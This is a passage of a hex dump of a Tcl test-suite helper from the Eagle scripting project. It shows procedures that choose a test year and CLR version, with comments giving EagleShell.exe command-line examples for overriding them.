54 ommand line). T 03c0: 68 69 73 20 68 65 6c 70 73 20 63 6f 6e 74 72 6f his helps contro 03d0: 6c 20 65 78 61 63 74 6c 79 20 77 68 69 63 68 20 l exactly which 03e0: 73 65 74 20 6f 66 0d 0a 20 20 20 20 20 20 23 20 set of.. # 03f0: 20 20 20 20 20 20 62 69 6e 61 72 69 65 73 20 77 binaries w 0400: 65 20 61 72 65 20 74 65 73 74 69 6e 67 2c 20 74 e are testing, t 0410: 68 6f 73 65 20 70 72 6f 64 75 63 65 64 20 75 73 hose produced us 0420: 69 6e 67 20 74 68 65 20 56 69 73 75 61 6c 20 53 ing the Visual S 0430: 74 75 64 69 6f 0d 0a 20 20 20 20 20 20 23 20 20 tudio.. # 0440: 20 20 20 20 20 32 30 30 35 2c 20 32 30 30 38 2c 2005, 2008, 0450: 20 32 30 31 30 2c 20 32 30 31 32 2c 20 32 30 31 2010, 2012, 201 0460: 33 2c 20 6f 72 20 32 30 31 35 20 62 75 69 6c 64 3, or 2015 build 0470: 20 73 79 73 74 65 6d 73 2e 20 20 54 6f 20 6f 76 systems. To ov 0480: 65 72 72 69 64 65 0d 0a 20 20 20 20 20 20 23 20 erride.. # 0490: 20 20 20 20 20 20 74 68 69 73 20 76 61 6c 75 65 this value 04a0: 20 76 69 61 20 74 68 65 20 63 6f 6d 6d 61 6e 64 via the command 04b0: 20 6c 69 6e 65 2c 20 65 6e 74 65 72 20 61 20 63 line, enter a c 04c0: 6f 6d 6d 61 6e 64 20 73 69 6d 69 6c 61 72 20 74 ommand similar t 04d0: 6f 20 6f 6e 65 0d 0a 20 20 20 20 20 20 23 20 20 o one.. # 04e0: 20 20 20 20 20 6f 66 20 74 68 65 20 66 6f 6c 6c of the foll 04f0: 6f 77 69 6e 67 20 28 61 6c 6c 20 6f 6e 20 6f 6e owing (all on on 0500: 65 20 6c 69 6e 65 29 3a 0d 0a 20 20 20 20 20 20 e line):.. 0510: 23 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 20 #.. # 0520: 20 45 61 67 6c 65 53 68 65 6c 6c 2e 65 78 65 20 EagleShell.exe 0530: 2d 61 6e 79 49 6e 69 74 69 61 6c 69 7a 65 20 22 -anyInitialize " 0540: 73 65 74 20 74 65 73 74 5f 79 65 61 72 20 32 30 set test_year 20 0550: 30 35 22 0d 0a 20 20 20 20 20 20 23 20 20 20 20 05".. # 0560: 20 20 20 20 20 2d 66 69 6c 65 20 2e 5c 70 61 74 -file .\pat 0570: 68 5c 74 6f 5c 61 6c 6c 2e 65 61 67 6c 65 0d 0a h\to\all.eagle.. 0580: 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 23 #.. # 0590: 20 20 20 20 20 20 20 45 61 67 6c 65 53 68 65 6c EagleShel 05a0: 6c 2e 65 78 65 20 2d 61 6e 79 49 6e 69 74 69 61 l.exe -anyInitia 05b0: 6c 69 7a 65 20 22 73 65 74 20 74 65 73 74 5f 79 lize "set test_y 05c0: 65 61 72 20 32 30 30 38 22 0d 0a 20 20 20 20 20 ear 2008".. 05d0: 20 23 20 20 20 20 20 20 20 20 20 2d 66 69 6c 65 # -file 05e0: 20 2e 5c 70 61 74 68 5c 74 6f 5c 61 6c 6c 2e 65 .\path\to\all.e 05f0: 61 67 6c 65 0d 0a 20 20 20 20 20 20 23 0d 0a 20 agle.. #.. 0600: 20 20 20 20 20 23 20 20 20 20 20 20 20 45 61 67 # Eag 0610: 6c 65 53 68 65 6c 6c 2e 65 78 65 20 2d 61 6e 79 leShell.exe -any 0620: 49 6e 69 74 69 61 6c 69 7a 65 20 22 73 65 74 20 Initialize "set 0630: 74 65 73 74 5f 79 65 61 72 20 32 30 31 30 22 0d test_year 2010". 0640: 0a 20 20 20 20 20 20 23 20 20 20 20 20 20 20 20 . # 0650: 20 2d 66 69 6c 65 20 2e 5c 70 61 74 68 5c 74 6f -file .\path\to 0660: 5c 61 6c 6c 2e 65 61 67 6c 65 0d 0a 20 20 20 20 \all.eagle.. 0670: 20 20 23 0d 0a 20 20 20 20 20 20 23 20 20 20 20 #.. # 0680: 20 20 20 45 61 67 6c 65 53 68 65 6c 6c 2e 65 78 EagleShell.ex 0690: 65 20 2d 61 6e 79 49 6e 69 74 69 61 6c 69 7a 65 e -anyInitialize 06a0: 20 22 73 65 74 20 74 65 73 74 5f 79 65 61 72 20 "set test_year 06b0: 32 30 31 32 22 0d 0a 20 20 20 20 20 20 23 20 20 2012".. # 06c0: 20 20 20 20 20 20 20 2d 66 69 6c 65 20 2e 5c 70 -file .\p 06d0: 61 74 68 5c 74 6f 5c 61 6c 6c 2e 65 61 67 6c 65 ath\to\all.eagle 06e0: 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 .. #.. 06f0: 20 23 20 20 20 20 20 20 20 45 61 67 6c 65 53 68 # EagleSh 0700: 65 6c 6c 2e 65 78 65 20 2d 61 6e 79 49 6e 69 74 ell.exe -anyInit 0710: 69 61 6c 69 7a 65 20 22 73 65 74 20 74 65 73 74 ialize "set test 0720: 5f 79 65 61 72 20 32 30 31 33 22 0d 0a 20 20 20 _year 2013".. 0730: 20 20 20 23 20 20 20 20 20 20 20 20 20 2d 66 69 # -fi 0740: 6c 65 20 2e 5c 70 61 74 68 5c 74 6f 5c 61 6c 6c le .\path\to\all 0750: 2e 65 61 67 6c 65 0d 0a 20 20 20 20 20 20 23 0d .eagle.. #. 0760: 0a 20 20 20 20 20 20 23 20 20 20 20 20 20 20 45 . # E 0770: 61 67 6c 65 53 68 65 6c 6c 2e 65 78 65 20 2d 61 agleShell.exe -a 0780: 6e 79 49 6e 69 74 69 61 6c 69 7a 65 20 22 73 65 nyInitialize "se 0790: 74 20 74 65 73 74 5f 79 65 61 72 20 32 30 31 35 t test_year 2015 07a0: 22 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 20 ".. # 07b0: 20 20 20 2d 66 69 6c 65 20 2e 5c 70 61 74 68 5c -file .\path\ 07c0: 74 6f 5c 61 6c 6c 2e 65 61 67 6c 65 0d 0a 20 20 to\all.eagle.. 07d0: 20 20 20 20 23 0d 0a 20 20 20 20 20 20 23 20 20 #.. # 07e0: 20 20 20 20 20 45 61 67 6c 65 53 68 65 6c 6c 2e EagleShell. 07f0: 65 78 65 20 2d 61 6e 79 49 6e 69 74 69 61 6c 69 exe -anyInitiali 0800: 7a 65 20 22 75 6e 73 65 74 20 2d 6e 6f 63 6f 6d ze "unset -nocom 0810: 70 6c 61 69 6e 20 74 65 73 74 5f 79 65 61 72 22 plain test_year" 0820: 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 20 20 .. # 0830: 20 20 2d 66 69 6c 65 20 2e 5c 70 61 74 68 5c 74 -file .\path\t 0840: 6f 5c 61 6c 6c 2e 65 61 67 6c 65 0d 0a 20 20 20 o\all.eagle.. 0850: 20 20 20 23 0d 0a 20 20 20 20 20 20 69 66 20 7b #.. if { 0860: 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 3a 3a 74 [info exists ::t 0870: 65 73 74 5f 79 65 61 72 5d 20 26 26 20 5b 73 74 est_year] && [st 0880: 72 69 6e 67 20 6c 65 6e 67 74 68 20 24 3a 3a 74 ring length $::t 0890: 65 73 74 5f 79 65 61 72 5d 20 3e 20 30 7d 20 74 est_year] > 0} t 08a0: 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 23 hen {.. # 08b0: 0d 0a 20 20 20 20 20 20 20 20 23 20 4e 4f 54 45 .. # NOTE 08c0: 3a 20 55 73 65 20 74 68 65 20 73 70 65 63 69 66 : Use the specif 08d0: 69 65 64 20 74 65 73 74 20 79 65 61 72 2e 20 20 ied test year. 08e0: 49 66 20 74 68 69 73 20 76 61 72 69 61 62 6c 65 If this variable 08f0: 20 69 73 20 6e 6f 74 20 73 65 74 2c 20 74 68 65 is not set, the 0900: 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 20 20 .. # 0910: 20 20 64 65 66 61 75 6c 74 20 76 61 6c 75 65 20 default value 0920: 77 69 6c 6c 20 62 65 20 62 61 73 65 64 20 6f 6e will be based on 0930: 20 77 68 65 74 68 65 72 20 6f 72 20 6e 6f 74 20 whether or not 0940: 45 61 67 6c 65 20 68 61 73 20 62 65 65 6e 0d 0a Eagle has been.. 0950: 20 20 20 20 20 20 20 20 23 20 20 20 20 20 20 20 # 0960: 63 6f 6d 70 69 6c 65 64 20 61 67 61 69 6e 73 74 compiled against 0970: 20 74 68 65 20 43 4c 52 20 76 32 2e 30 20 6f 72 the CLR v2.0 or 0980: 20 43 4c 52 20 76 34 2e 30 2e 0d 0a 20 20 20 20 CLR v4.0... 0990: 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 72 #.. r 09a0: 65 74 75 72 6e 20 24 3a 3a 74 65 73 74 5f 79 65 eturn$::test_ye 09b0: 61 72 0d 0a 20 20 20 20 20 20 7d 20 65 6c 73 65 ar.. } else 09c0: 20 7b 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 {.. #.. 09d0: 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 49 # NOTE: I 09e0: 66 20 45 61 67 6c 65 20 68 61 73 20 62 65 65 6e f Eagle has been 09f0: 20 63 6f 6d 70 69 6c 65 64 20 61 67 61 69 6e 73 compiled agains 0a00: 74 20 74 68 65 20 43 4c 52 20 76 34 2e 30 2c 20 t the CLR v4.0, 0a10: 75 73 65 20 22 32 30 31 30 22 20 62 79 0d 0a 20 use "2010" by.. 0a20: 20 20 20 20 20 20 20 23 20 20 20 20 20 20 20 64 # d 0a30: 65 66 61 75 6c 74 20 28 77 65 20 63 6f 75 6c 64 efault (we could 0a40: 20 75 73 65 20 22 32 30 31 32 22 2c 20 22 32 30 use "2012", "20 0a50: 31 33 22 2c 20 6f 72 20 22 32 30 31 35 22 20 69 13", or "2015" i 0a60: 6e 20 74 68 61 74 20 63 61 73 65 20 61 73 0d 0a n that case as.. 0a70: 20 20 20 20 20 20 20 20 23 20 20 20 20 20 20 20 # 0a80: 77 65 6c 6c 29 20 61 73 20 74 68 65 20 74 65 73 well) as the tes 0a90: 74 20 79 65 61 72 3b 20 6f 74 68 65 72 77 69 73 t year; otherwis 0aa0: 65 2c 20 75 73 65 20 22 32 30 30 38 22 20 62 79 e, use "2008" by 0ab0: 20 64 65 66 61 75 6c 74 20 28 77 65 0d 0a 20 20 default (we.. 0ac0: 20 20 20 20 20 20 23 20 20 20 20 20 20 20 63 6f # co 0ad0: 75 6c 64 20 75 73 65 20 22 32 30 30 35 22 20 69 uld use "2005" i 0ae0: 6e 20 74 68 61 74 20 63 61 73 65 20 61 73 20 77 n that case as w 0af0: 65 6c 6c 29 2e 20 20 49 66 20 61 6e 6f 74 68 65 ell). If anothe 0b00: 72 20 6d 61 6a 6f 72 0d 0a 20 20 20 20 20 20 20 r major.. 0b10: 20 23 20 20 20 20 20 20 20 5b 69 6e 63 6f 6d 70 # [incomp 0b20: 61 74 69 62 6c 65 5d 20 76 65 72 73 69 6f 6e 20 atible] version 0b30: 6f 66 20 74 68 65 20 43 4c 52 20 69 73 20 72 65 of the CLR is re 0b40: 6c 65 61 73 65 64 2c 20 74 68 69 73 20 63 68 65 leased, this che 0b50: 63 6b 20 77 69 6c 6c 0d 0a 20 20 20 20 20 20 20 ck will.. 0b60: 20 23 20 20 20 20 20 20 20 68 61 76 65 20 74 6f # have to 0b70: 20 62 65 20 63 68 61 6e 67 65 64 2e 20 20 54 68 be changed. Th 0b80: 65 20 64 65 66 61 75 6c 74 20 74 65 73 74 20 79 e default test y 0b90: 65 61 72 20 74 6f 20 75 73 65 20 66 6f 72 20 61 ear to use for a 0ba0: 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 20 20 .. # 0bb0: 20 20 70 61 72 74 69 63 75 6c 61 72 20 43 4c 52 particular CLR 0bc0: 20 76 65 72 73 69 6f 6e 20 6d 61 79 20 62 65 20 version may be 0bd0: 6f 76 65 72 72 69 64 64 65 6e 20 62 79 20 73 65 overridden by se 0be0: 74 74 69 6e 67 20 74 68 65 20 67 6c 6f 62 61 6c tting the global 0bf0: 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 20 20 .. # 0c00: 20 20 76 61 72 69 61 62 6c 65 20 22 74 65 73 74 variable "test 0c10: 5f 79 65 61 72 5f 63 6c 72 5f 76 24 58 22 2c 20 _year_clr_v$X", 0c20: 77 68 65 72 65 20 22 24 58 22 20 6d 61 79 20 5b where "$X" may [ 0c30: 63 75 72 72 65 6e 74 6c 79 5d 20 62 65 0d 0a 20 currently] be.. 0c40: 20 20 20 20 20 20 20 23 20 20 20 20 20 20 20 65 # e 0c50: 69 74 68 65 72 20 22 32 22 20 6f 72 20 22 34 22 ither "2" or "4" 0c60: 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 ... #.. 0c70: 20 20 20 20 20 20 69 66 20 7b 5b 68 61 76 65 43 if {[haveC 0c80: 6f 6e 73 74 72 61 69 6e 74 20 69 6d 61 67 65 52 onstraint imageR 0c90: 75 6e 74 69 6d 65 34 30 5d 7d 20 74 68 65 6e 20 untime40]} then 0ca0: 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 69 66 20 {.. if 0cb0: 7b 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 3a 3a {[info exists :: 0cc0: 74 65 73 74 5f 79 65 61 72 5f 63 6c 72 5f 76 34 test_year_clr_v4 0cd0: 5d 20 26 26 20 5c 0d 0a 20 20 20 20 20 20 20 20 ] && \.. 0ce0: 20 20 20 20 20 20 5b 73 74 72 69 6e 67 20 6c 65 [string le 0cf0: 6e 67 74 68 20 24 3a 3a 74 65 73 74 5f 79 65 61 ngth $::test_yea 0d00: 72 5f 63 6c 72 5f 76 34 5d 20 3e 20 30 7d 20 74 r_clr_v4] > 0} t 0d10: 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 hen {.. 0d20: 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 20 20 #.. 0d30: 20 20 23 20 4e 4f 54 45 3a 20 55 73 65 20 74 68 # NOTE: Use th 0d40: 65 20 73 70 65 63 69 66 69 65 64 20 74 65 73 74 e specified test 0d50: 20 79 65 61 72 20 66 6f 72 20 74 68 65 20 43 4c year for the CL 0d60: 52 20 76 34 2e 30 2e 0d 0a 20 20 20 20 20 20 20 R v4.0... 0d70: 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 #.. 0d80: 20 20 20 20 72 65 74 75 72 6e 20 24 3a 3a 74 65 return$::te 0d90: 73 74 5f 79 65 61 72 5f 63 6c 72 5f 76 34 0d 0a st_year_clr_v4.. 0da0: 20 20 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 } else 0db0: 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 {.. 0dc0: 23 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 #.. # 0dd0: 20 4e 4f 54 45 3a 20 55 73 65 20 74 68 65 20 64 NOTE: Use the d 0de0: 65 66 61 75 6c 74 20 74 65 73 74 20 79 65 61 72 efault test year 0df0: 20 66 6f 72 20 74 68 65 20 43 4c 52 20 76 34 2e for the CLR v4. 0e00: 30 2e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 0... 0e10: 23 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 #.. r 0e20: 65 74 75 72 6e 20 32 30 31 30 3b 20 23 20 54 4f eturn 2010; # TO 0e30: 44 4f 3a 20 47 6f 6f 64 20 22 66 61 6c 6c 62 61 DO: Good "fallba 0e40: 63 6b 22 20 64 65 66 61 75 6c 74 3f 0d 0a 20 20 ck" default?.. 0e50: 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 }.. 0e60: 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 } else {.. 0e70: 20 20 20 20 20 20 20 69 66 20 7b 5b 69 6e 66 6f if {[info 0e80: 20 65 78 69 73 74 73 20 3a 3a 74 65 73 74 5f 79 exists ::test_y 0e90: 65 61 72 5f 63 6c 72 5f 76 32 5d 20 26 26 20 5c ear_clr_v2] && \ 0ea0: 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. 0eb0: 5b 73 74 72 69 6e 67 20 6c 65 6e 67 74 68 20 24 [string length $0ec0: 3a 3a 74 65 73 74 5f 79 65 61 72 5f 63 6c 72 5f ::test_year_clr_ 0ed0: 76 32 5d 20 3e 20 30 7d 20 74 68 65 6e 20 7b 0d v2] > 0} then {. 0ee0: 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 0d 0a . #.. 0ef0: 20 20 20 20 20 20 20 20 20 20 20 20 23 20 4e 4f # NO 0f00: 54 45 3a 20 55 73 65 20 74 68 65 20 73 70 65 63 TE: Use the spec 0f10: 69 66 69 65 64 20 74 65 73 74 20 79 65 61 72 20 ified test year 0f20: 66 6f 72 20 74 68 65 20 43 4c 52 20 76 32 2e 30 for the CLR v2.0 0f30: 2e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 ... # 0f40: 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 .. re 0f50: 74 75 72 6e 20 24 3a 3a 74 65 73 74 5f 79 65 61 turn$::test_yea 0f60: 72 5f 63 6c 72 5f 76 32 0d 0a 20 20 20 20 20 20 r_clr_v2.. 0f70: 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 } else {.. 0f80: 20 20 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 #.. 0f90: 20 20 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a # NOTE: 0fa0: 20 55 73 65 20 74 68 65 20 64 65 66 61 75 6c 74 Use the default 0fb0: 20 74 65 73 74 20 79 65 61 72 20 66 6f 72 20 74 test year for t 0fc0: 68 65 20 43 4c 52 20 76 32 2e 30 2e 0d 0a 20 20 he CLR v2.0... 0fd0: 20 20 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 #.. 0fe0: 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 return 0ff0: 32 30 30 38 3b 20 23 20 54 4f 44 4f 3a 20 47 6f 2008; # TODO: Go 1000: 6f 64 20 22 66 61 6c 6c 62 61 63 6b 22 20 64 65 od "fallback" de 1010: 66 61 75 6c 74 3f 0d 0a 20 20 20 20 20 20 20 20 fault?.. 1020: 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a }.. }.. 1030: 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 7d 0d 0a }.. }.. 1040: 0c 0d 0a 20 20 20 20 23 0d 0a 20 20 20 20 23 20 ... #.. # 1050: 4e 4f 54 45 3a 20 54 68 69 73 20 70 72 6f 63 65 NOTE: This proce 1060: 64 75 72 65 20 69 73 20 6f 6e 6c 79 20 75 73 65 dure is only use 1070: 64 20 77 68 65 6e 20 61 64 64 69 6e 67 20 73 68 d when adding sh 1080: 69 6d 6d 65 64 20 74 65 73 74 20 63 6f 6e 73 74 immed test const 1090: 72 61 69 6e 74 73 2e 0d 0a 20 20 20 20 23 0d 0a raints... #.. 10a0: 20 20 20 20 70 72 6f 63 20 67 65 74 42 75 69 6c proc getBuil 10b0: 64 43 6c 72 56 65 72 73 69 6f 6e 20 7b 7d 20 7b dClrVersion {} { 10c0: 0d 0a 20 20 20 20 20 20 69 66 20 7b 5b 69 6e 66 .. if {[inf 10d0: 6f 20 65 78 69 73 74 73 20 3a 3a 74 65 73 74 5f o exists ::test_ 10e0: 63 6c 72 5d 20 26 26 20 5b 73 74 72 69 6e 67 20 clr] && [string 10f0: 6c 65 6e 67 74 68 20 24 3a 3a 74 65 73 74 5f 63 length $::test_c 1100: 6c 72 5d 20 3e 20 30 7d 20 74 68 65 6e 20 7b 0d lr] > 0} then {. 1110: 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 . #.. 1120: 20 20 20 20 23 20 4e 4f 54 45 3a 20 55 73 65 20 # NOTE: Use 1130: 74 68 65 20 73 70 65 63 69 66 69 65 64 20 74 65 the specified te 1140: 73 74 20 76 65 72 73 69 6f 6e 20 66 6f 72 20 74 st version for t 1150: 68 65 20 43 4c 52 2e 20 20 49 66 20 74 68 69 73 he CLR. If this 1160: 20 76 61 72 69 61 62 6c 65 0d 0a 20 20 20 20 20 variable.. 1170: 20 20 20 23 20 20 20 20 20 20 20 69 73 20 6e 6f # is no 1180: 74 20 73 65 74 2c 20 74 68 65 20 64 65 66 61 75 t set, the defau 1190: 6c 74 20 76 61 6c 75 65 20 77 69 6c 6c 20 62 65 lt value will be 11a0: 20 62 61 73 65 64 20 6f 6e 20 77 68 65 74 68 65 based on whethe 11b0: 72 20 6f 72 20 6e 6f 74 0d 0a 20 20 20 20 20 20 r or not.. 11c0: 20 20 23 20 20 20 20 20 20 20 45 61 67 6c 65 20 # Eagle 11d0: 68 61 73 20 62 65 65 6e 20 63 6f 6d 70 69 6c 65 has been compile 11e0: 64 20 61 67 61 69 6e 73 74 20 74 68 65 20 43 4c d against the CL 11f0: 52 20 76 32 2e 30 20 6f 72 20 43 4c 52 20 76 34 R v2.0 or CLR v4 1200: 2e 30 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a .0... #.. 1210: 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 24 return$ 1220: 3a 3a 74 65 73 74 5f 63 6c 72 0d 0a 20 20 20 20 ::test_clr.. 1230: 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 } else {.. 1240: 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 23 #.. # 1250: 20 4e 4f 54 45 3a 20 43 68 65 63 6b 20 69 66 20 NOTE: Check if 1260: 45 61 67 6c 65 20 68 61 73 20 62 65 65 6e 20 63 Eagle has been c 1270: 6f 6d 70 69 6c 65 64 20 61 67 61 69 6e 73 74 20 ompiled against 1280: 74 68 65 20 43 4c 52 20 76 34 2e 30 2e 20 20 49 the CLR v4.0. I 1290: 66 20 73 6f 2c 0d 0a 20 20 20 20 20 20 20 20 23 f so,.. # 12a0: 20 20 20 20 20 20 20 6a 75 73 74 20 75 73 65 20 just use 12b0: 74 68 61 74 20 43 4c 52 20 76 65 72 73 69 6f 6e that CLR version 12c0: 2e 20 20 4f 74 68 65 72 77 69 73 65 2c 20 75 73 . Otherwise, us 12d0: 65 20 74 68 65 20 76 65 72 73 69 6f 6e 20 66 6f e the version fo 12e0: 72 20 74 68 65 0d 0a 20 20 20 20 20 20 20 20 23 r the.. # 12f0: 20 20 20 20 20 20 20 43 4c 52 20 76 32 2e 30 2e CLR v2.0. 1300: 20 20 49 66 20 61 6e 6f 74 68 65 72 20 6d 61 6a If another maj 1310: 6f 72 20 5b 69 6e 63 6f 6d 70 61 74 69 62 6c 65 or [incompatible 1320: 5d 20 76 65 72 73 69 6f 6e 20 6f 66 20 74 68 65 ] version of the 1330: 20 43 4c 52 0d 0a 20 20 20 20 20 20 20 20 23 20 CLR.. # 1340: 20 20 20 20 20 20 69 73 20 72 65 6c 65 61 73 65 is release 1350: 64 2c 20 74 68 69 73 20 63 68 65 63 6b 20 77 69 d, this check wi 1360: 6c 6c 20 68 61 76 65 20 74 6f 20 62 65 20 63 68 ll have to be ch 1370: 61 6e 67 65 64 2e 20 20 54 68 65 20 64 65 66 61 anged. The defa 1380: 75 6c 74 0d 0a 20 20 20 20 20 20 20 20 23 20 20 ult.. # 1390: 20 20 20 20 20 76 65 72 73 69 6f 6e 20 76 61 6c version val 13a0: 75 65 20 66 6f 72 20 61 20 70 61 72 74 69 63 75 ue for a particu 13b0: 6c 61 72 20 43 4c 52 20 76 65 72 73 69 6f 6e 20 lar CLR version 13c0: 6d 61 79 20 62 65 20 6f 76 65 72 72 69 64 64 65 may be overridde 13d0: 6e 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 20 n.. # 13e0: 20 20 20 62 79 20 73 65 74 74 69 6e 67 20 74 68 by setting th 13f0: 65 20 67 6c 6f 62 61 6c 20 76 61 72 69 61 62 6c e global variabl 1400: 65 20 22 74 65 73 74 5f 63 6c 72 5f 76 24 58 22 e "test_clr_v$X" 1410: 2c 20 77 68 65 72 65 20 22 24 58 22 20 6d 61 79 , where "$X" may 1420: 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 20 20 .. # 1430: 20 20 5b 63 75 72 72 65 6e 74 6c 79 5d 20 62 65 [currently] be 1440: 20 65 69 74 68 65 72 20 22 32 22 20 6f 72 20 22 either "2" or " 1450: 34 22 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 4"... #.. 1460: 20 20 20 20 20 20 20 20 69 66 20 7b 5b 68 61 76 if {[hav 1470: 65 43 6f 6e 73 74 72 61 69 6e 74 20 69 6d 61 67 eConstraint imag 1480: 65 52 75 6e 74 69 6d 65 34 30 5d 7d 20 74 68 65 eRuntime40]} the 1490: 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 69 n {.. i 14a0: 66 20 7b 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 f {[info exists 14b0: 3a 3a 74 65 73 74 5f 63 6c 72 5f 76 34 5d 20 26 ::test_clr_v4] & 14c0: 26 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 & \.. 14d0: 20 20 20 5b 73 74 72 69 6e 67 20 6c 65 6e 67 74 [string lengt 14e0: 68 20 24 3a 3a 74 65 73 74 5f 63 6c 72 5f 76 34 h $::test_clr_v4 14f0: 5d 20 3e 20 30 7d 20 74 68 65 6e 20 7b 0d 0a 20 ] > 0} then {.. 1500: 20 20 20 20 20 20 20 20 20 20 20 23 0d 0a 20 20 #.. 1510: 20 20 20 20 20 20 20 20 20 20 23 20 4e 4f 54 45 # NOTE 1520: 3a 20 55 73 65 20 74 68 65 20 73 70 65 63 69 66 : Use the specif 1530: 69 65 64 20 74 65 73 74 20 76 65 72 73 69 6f 6e ied test version 1540: 20 66 6f 72 20 74 68 65 20 43 4c 52 20 76 34 2e for the CLR v4. 1550: 30 2e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 0... 1560: 23 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 #.. r 1570: 65 74 75 72 6e 20 24 3a 3a 74 65 73 74 5f 63 6c eturn$::test_cl 1580: 72 5f 76 34 0d 0a 20 20 20 20 20 20 20 20 20 20 r_v4.. 1590: 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 } else {.. 15a0: 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 #.. 15b0: 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 55 73 65 # NOTE: Use 15c0: 20 74 68 65 20 64 65 66 61 75 6c 74 20 74 65 73 the default tes 15d0: 74 20 76 65 72 73 69 6f 6e 20 66 6f 72 20 74 68 t version for th 15e0: 65 20 43 4c 52 20 76 34 2e 30 2e 0d 0a 20 20 20 e CLR v4.0... 15f0: 20 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 #.. 1600: 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 34 return 4 1610: 2e 30 2e 33 30 33 31 39 3b 20 23 20 54 4f 44 4f .0.30319; # TODO 1620: 3a 20 47 6f 6f 64 20 22 66 61 6c 6c 62 61 63 6b : Good "fallback 1630: 22 20 64 65 66 61 75 6c 74 3f 0d 0a 20 20 20 20 " default?.. 1640: 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 }.. 1650: 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 } else {.. 1660: 20 20 20 20 20 69 66 20 7b 5b 69 6e 66 6f 20 65 if {[info e 1670: 78 69 73 74 73 20 3a 3a 74 65 73 74 5f 63 6c 72 xists ::test_clr 1680: 5f 76 32 5d 20 26 26 20 5c 0d 0a 20 20 20 20 20 _v2] && \.. 1690: 20 20 20 20 20 20 20 20 20 5b 73 74 72 69 6e 67 [string 16a0: 20 6c 65 6e 67 74 68 20 24 3a 3a 74 65 73 74 5f length $::test_ 16b0: 63 6c 72 5f 76 32 5d 20 3e 20 30 7d 20 74 68 65 clr_v2] > 0} the 16c0: 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 n {.. 16d0: 20 23 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 #.. 16e0: 23 20 4e 4f 54 45 3a 20 55 73 65 20 74 68 65 20 # NOTE: Use the 16f0: 73 70 65 63 69 66 69 65 64 20 74 65 73 74 20 76 specified test v 1700: 65 72 73 69 6f 6e 20 66 6f 72 20 74 68 65 20 43 ersion for the C 1710: 4c 52 20 76 32 2e 30 2e 0d 0a 20 20 20 20 20 20 LR v2.0... 1720: 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 #.. 1730: 20 20 20 20 20 72 65 74 75 72 6e 20 24 3a 3a 74 return$::t 1740: 65 73 74 5f 63 6c 72 5f 76 32 0d 0a 20 20 20 20 est_clr_v2.. 1750: 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a } else {.. 1760: 20 20 20 20 20 20 20 20 20 20 20 20 23 0d 0a 20 #.. 1770: 20 20 20 20 20 20 20 20 20 20 20 23 20 4e 4f 54 # NOT 1780: 45 3a 20 55 73 65 20 74 68 65 20 64 65 66 61 75 E: Use the defau 1790: 6c 74 20 74 65 73 74 20 76 65 72 73 69 6f 6e 20 lt test version 17a0: 66 6f 72 20 74 68 65 20 43 4c 52 20 76 32 2e 30 for the CLR v2.0 17b0: 2e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 ... # 17c0: 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 .. re 17d0: 74 75 72 6e 20 32 2e 30 2e 35 30 37 32 37 3b 20 